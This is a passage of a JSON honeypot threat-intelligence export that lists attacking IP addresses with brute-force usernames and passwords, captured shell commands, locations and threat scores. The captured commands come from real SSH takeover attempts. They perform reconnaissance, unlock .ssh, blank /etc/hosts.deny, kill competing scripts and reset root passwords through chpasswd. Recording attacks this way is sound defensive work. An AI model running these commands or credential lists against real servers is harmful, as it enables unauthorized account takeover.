        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"n8n\\nBIRWqOLO3edY\\nBIRWqOLO3edY\\n\"|passwd",
        "echo \"password\\no3HyZxTgLcFM\\no3HyZxTgLcFM\\n\"|passwd",
        "echo \"root:U94dpCrDnUCN\"|chpasswd|bash",
        "echo \"root:ruEMqjalSxmN\"|chpasswd|bash",
        "echo \"splunk123\\nFcZKlQdXlg5n\\nFcZKlQdXlg5n\\n\"|passwd",
        "echo -e \"n8n\\nBIRWqOLO3edY\\nBIRWqOLO3edY\"|passwd|bash",
        "echo -e \"password\\no3HyZxTgLcFM\\no3HyZxTgLcFM\"|passwd|bash",
        "echo -e \"splunk123\\nFcZKlQdXlg5n\\nFcZKlQdXlg5n\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 615,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T03:13:18.623000+00:00",
        "last_seen_30d": "2026-03-11T14:16:04.128000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 513,
        "Suricata": 102
      }
    },
    "88.142.46.185": {
      "attack_count": 493,
      "first_seen": "2026-03-05T08:06:36.810Z",
      "last_seen": "2026-03-18T15:52:44.025Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "minecraft",
        "old",
        "test",
        "abdel",
        "cody",
        "db2admin",
        "deploy",
        "don",
        "ivan",
        "michael",
        "sistemas",
        "tmp",
        "tunnel",
        "user",
        "vincent",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345678",
        "@a123",
        "A12345678*",
        "Aa",
        "Aa123321!",
        "Aa123456!@#",
        "P@ssw9rd",
        "Qq123456",
        "Tmp123",
        "Tunnel123!",
        "User@123456",
        "a12345661",
        "aaa@1234",
        "aaaaaa123456",
        "abdel1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nGVHNIIKDquIC\\nGVHNIIKDquIC\\n\"|passwd",
        "echo \"User@123456\\n2oSp1r2Dr3Xv\\n2oSp1r2Dr3Xv\\n\"|passwd",
        "echo \"qwerty123\\nAfgLi9iNoKKW\\nAfgLi9iNoKKW\\n\"|passwd",
        "echo \"root:C6m8TZdlO9gI\"|chpasswd|bash",
        "echo \"root:K8sXuiodNH6b\"|chpasswd|bash",
        "echo -e \"1234\\nGVHNIIKDquIC\\nGVHNIIKDquIC\"|passwd|bash",
        "echo -e \"User@123456\\n2oSp1r2Dr3Xv\\n2oSp1r2Dr3Xv\"|passwd|bash",
        "echo -e \"qwerty123\\nAfgLi9iNoKKW\\nAfgLi9iNoKKW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Issy-les-Moulineaux",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 585,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T08:06:36.810000+00:00",
        "last_seen_30d": "2026-03-18T15:53:46.949000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 493,
        "Suricata": 92
      }
    },
    "81.192.46.45": {
      "attack_count": 485,
      "first_seen": "2026-03-03T02:14:51.102Z",
      "last_seen": "2026-03-15T13:37:32.052Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jagdish",
        "obc",
        "sklep",
        "admin1",
        "atlas",
        "bai",
        "desktop",
        "dev",
        "dev1",
        "dhiraj",
        "efs",
        "extern",
        "flussonic",
        "git",
        "iptv",
        "joshua",
        "keycloak",
        "kubernetes"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "12345",
        "123456",
        "password",
        "123!@#Abc",
        "1234",
        "12345asd",
        "1Password",
        "1qaz!QAZ2wsx",
        "2024",
        "Admin.2024",
        "Admin@1234",
        "Bai123!",
        "Dhiraj123!",
        "Flussonic123!",
        "Joshua123!",
        "Kubernetes123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nXglWs5ZTXb05\\nXglWs5ZTXb05\\n\"|passwd",
        "echo \"123456\\ndNjj2BgIAfvf\\ndNjj2BgIAfvf\\n\"|passwd",
        "echo \"password\\nfEYi6eOeMhKo\\nfEYi6eOeMhKo\\n\"|passwd",
        "echo \"root:EHGAYFQh6tIr\"|chpasswd|bash",
        "echo -e \"123456\\nXglWs5ZTXb05\\nXglWs5ZTXb05\"|passwd|bash",
        "echo -e \"123456\\ndNjj2BgIAfvf\\ndNjj2BgIAfvf\"|passwd|bash",
        "echo -e \"password\\nfEYi6eOeMhKo\\nfEYi6eOeMhKo\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 602,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:14:51.102000+00:00",
        "last_seen_30d": "2026-03-15T13:38:33.695000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 485,
        "Suricata": 117
      }
    },
    "80.87.83.229": {
      "attack_count": 474,
      "first_seen": "2026-03-04T06:17:42.787Z",
      "last_seen": "2026-03-26T08:18:37.548Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dan",
        "gestion",
        "llm",
        "rramirez",
        "Admin",
        "huang",
        "iksi",
        "kirill",
        "ll",
        "minioadmin",
        "node",
        "nora",
        "storage"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "!QAZ@WSX3edc",
        "123321456",
        "1234",
        "12345",
        "123456Mm",
        "1qaz2wsx@@",
        "258369",
        "Aa000000",
        "Admin1234",
        "Bingo@1993",
        "QWEasd123456",
        "Wx123456@",
        "abcd12345678",
        "armin123",
        "huang",
        "iksi123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n0h7URbm2z8EP\\n0h7URbm2z8EP\\n\"|passwd",
        "echo \"12345678\\nTNSCrQRHCbji\\nTNSCrQRHCbji\\n\"|passwd",
        "echo \"123456\\nQmTH2DWCxkT4\\nQmTH2DWCxkT4\\n\"|passwd",
        "echo \"1234\\n3PPDBDbQxoWl\\n3PPDBDbQxoWl\\n\"|passwd",
        "echo \"root:3HCxvdZzd9y4\"|chpasswd|bash",
        "echo -e \"12345678\\n0h7URbm2z8EP\\n0h7URbm2z8EP\"|passwd|bash",
        "echo -e \"12345678\\nTNSCrQRHCbji\\nTNSCrQRHCbji\"|passwd|bash",
        "echo -e \"123456\\nQmTH2DWCxkT4\\nQmTH2DWCxkT4\"|passwd|bash",
        "echo -e \"1234\\n3PPDBDbQxoWl\\n3PPDBDbQxoWl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 29614,
      "as_org": "VODAFONE GHANA AS INTERNATIONAL TRANSIT",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 559,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T06:17:42.787000+00:00",
        "last_seen_30d": "2026-03-26T08:19:46.719000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 474,
        "Suricata": 85
      }
    },
    "20.203.42.204": {
      "attack_count": 472,
      "first_seen": "2026-03-29T04:06:45.586Z",
      "last_seen": "2026-03-29T09:24:49.244Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!qwe1234",
        "12345611",
        "12345678@",
        "123456Ll",
        "1Qaz@wsx",
        "Abc12345678.",
        "Abcd.1234",
        "Changeme123",
        "Chen@123",
        "P@ssword1.",
        "PASSWORD@1234",
        "Pa55W0rd",
        "Passwd2026",
        "Password45",
        "Qf123456",
        "Qwerty@123",
        "Test.12345",
        "aa@123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:39PzNNNPDEZr\"|chpasswd|bash",
        "echo \"root:DvUmwxu0w3Af\"|chpasswd|bash",
        "echo \"root:Gd2uJdU2ns5d\"|chpasswd|bash",
        "echo \"root:Z43fmFs5eAK1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T04:06:45.586000+00:00",
        "last_seen_30d": "2026-03-29T09:25:53.639000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 472,
        "Suricata": 118
      }
    },
    "143.110.220.108": {
      "attack_count": 470,
      "first_seen": "2026-03-19T13:35:54.291Z",
      "last_seen": "2026-03-19T13:46:14.304Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "student",
        "ubuntu",
        "a1",
        "aaa",
        "abuse",
        "adam",
        "adrien",
        "ahmad",
        "alex",
        "alexa",
        "ana",
        "ankur",
        "aron",
        "arthur",
        "audi",
        "backend",
        "benjamin",
        "bpadmin"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "p@ssw0rd",
        "!QAZ2wsx3edc4rfv",
        "0000",
        "0909",
        "1",
        "11",
        "111111111",
        "1224",
        "123",
        "12345678",
        "12345@",
        "1234abcd",
        "123@@@",
        "1401",
        "19901990",
        "1qaz@WSX",
        "25252525",
        "36363636"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 662,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T13:35:54.291000+00:00",
        "last_seen_30d": "2026-03-19T13:47:15.271000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 470,
        "Suricata": 192
      }
    },
    "101.36.108.213": {
      "attack_count": 469,
      "first_seen": "2026-03-09T08:56:19.807Z",
      "last_seen": "2026-03-21T08:19:52.977Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elk",
        "hugo",
        "sql",
        "tomas",
        "abc",
        "alpha",
        "backupuser",
        "chrome",
        "deploy",
        "ethos",
        "ghostadmin",
        "grid",
        "ivan",
        "k8suser",
        "mehedi",
        "pruebas",
        "slurm",
        "song"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "102030",
        "123",
        "1234",
        "12345",
        "Alpha123",
        "Asd12345678",
        "Cc123456@",
        "Ivan123!",
        "Pruebas123!",
        "Sql123",
        "abc@123",
        "backupuserbackupuser",
        "grid@123",
        "hugohugo",
        "mehedi",
        "password",
        "server@2021"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nm80DfdyH1plv\\nm80DfdyH1plv\\n\"|passwd",
        "echo \"Sql123\\neyJL9vMvAAm9\\neyJL9vMvAAm9\\n\"|passwd",
        "echo \"hugohugo\\nk3KAJRTfKWJM\\nk3KAJRTfKWJM\\n\"|passwd",
        "echo \"root:MolVTU18w335\"|chpasswd|bash",
        "echo \"tomas@123\\n7LqxrNWsIOfZ\\n7LqxrNWsIOfZ\\n\"|passwd",
        "echo -e \"12345678\\nm80DfdyH1plv\\nm80DfdyH1plv\"|passwd|bash",
        "echo -e \"Sql123\\neyJL9vMvAAm9\\neyJL9vMvAAm9\"|passwd|bash",
        "echo -e \"hugohugo\\nk3KAJRTfKWJM\\nk3KAJRTfKWJM\"|passwd|bash",
        "echo -e \"tomas@123\\n7LqxrNWsIOfZ\\n7LqxrNWsIOfZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 549,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T08:56:19.807000+00:00",
        "last_seen_30d": "2026-03-21T08:20:54.965000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 469,
        "Suricata": 80
      }
    },
    "4.213.160.153": {
      "attack_count": 448,
      "first_seen": "2026-03-23T07:49:39.572Z",
      "last_seen": "2026-03-31T06:31:00.384Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "ann",
        "backupuser",
        "kocom",
        "mongod",
        "mos",
        "nikhil",
        "rochelle",
        "sai",
        "teacher",
        "upgrade",
        "user6",
        "webserver",
        "ypwang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "#EDC2wsx1qaz",
        "12344321q",
        "12345678",
        "1qaz@Wsx",
        "20250101",
        "Ann",
        "Dex2024",
        "Kocom123",
        "Nikhil",
        "Passw0rd.",
        "Password987",
        "Upgrade",
        "abcd.1234",
        "admiN123",
        "aqwzsx123",
        "axente",
        "axis"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:Lng0hs1fLP96\"|chpasswd|bash",
        "echo \"root:YIR9iGnjSh2w\"|chpasswd|bash",
        "echo \"root:tMgAy2m6k3Il\"|chpasswd|bash",
        "echo \"steam1\\ncv15278gBD5Z\\ncv15278gBD5Z\\n\"|passwd",
        "echo -e \"steam1\\ncv15278gBD5Z\\ncv15278gBD5Z\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 551,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T07:49:39.572000+00:00",
        "last_seen_30d": "2026-03-31T06:32:07.505000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 448,
        "Suricata": 103
      }
    },
    "51.199.163.14": {
      "attack_count": 422,
      "first_seen": "2026-03-03T20:35:52.271Z",
      "last_seen": "2026-03-10T00:51:24.053Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rock",
        "c",
        "emma",
        "guest",
        "root2",
        "ruslan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW34er",
        "12121212",
        "1234",
        "12344",
        "123456",
        "1qazXSW@3edcVFR$",
        "Bingo@1993",
        "Gfhjkm123456",
        "Qweasd123!@#",
        "Qwerty@1",
        "Server@2025",
        "admin212",
        "c123!",
        "guest1234",
        "parker",
        "password",
        "rock1234",
        "test01"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"rock1234\\nawEnGDwFwUaE\\nawEnGDwFwUaE\\n\"|passwd",
        "echo \"root:2LqROAGqYaw4\"|chpasswd|bash",
        "echo \"root:ustxGr1YRs8f\"|chpasswd|bash",
        "echo \"root:vsQiLT0JuxM4\"|chpasswd|bash",
        "echo -e \"rock1234\\nawEnGDwFwUaE\\nawEnGDwFwUaE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": null,
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 495,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:35:52.271000+00:00",
        "last_seen_30d": "2026-03-10T00:52:25.130000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 422,
        "Suricata": 73
      }
    },
    "150.95.112.35": {
      "attack_count": 373,
      "first_seen": "2026-03-04T09:35:55.204Z",
      "last_seen": "2026-03-05T23:54:42.640Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "cristi",
        "hik",
        "host",
        "karim",
        "silva",
        "tv",
        "znc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456789",
        "123qaz!@#QAZ",
        "Cristi123",
        "Dd123456",
        "Hik@2023",
        "Welcome1!",
        "Welcome@888!",
        "ZXCzxc123",
        "aaa123123",
        "demo",
        "fernando",
        "host1234",
        "password",
        "rootadmin",
        "silva123!",
        "temp123",
        "tvpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\nkA2b2AofeuHe\\nkA2b2AofeuHe\\n\"|passwd",
        "echo \"root:CNMCrr7oWO6s\"|chpasswd|bash",
        "echo \"root:Tk8oVDfdwHX5\"|chpasswd|bash",
        "echo \"root:TpUXwz40udZ1\"|chpasswd|bash",
        "echo -e \"password\\nkA2b2AofeuHe\\nkA2b2AofeuHe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131392,
      "as_org": "GMO-Z.com Runsystem Joint Stock Company",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
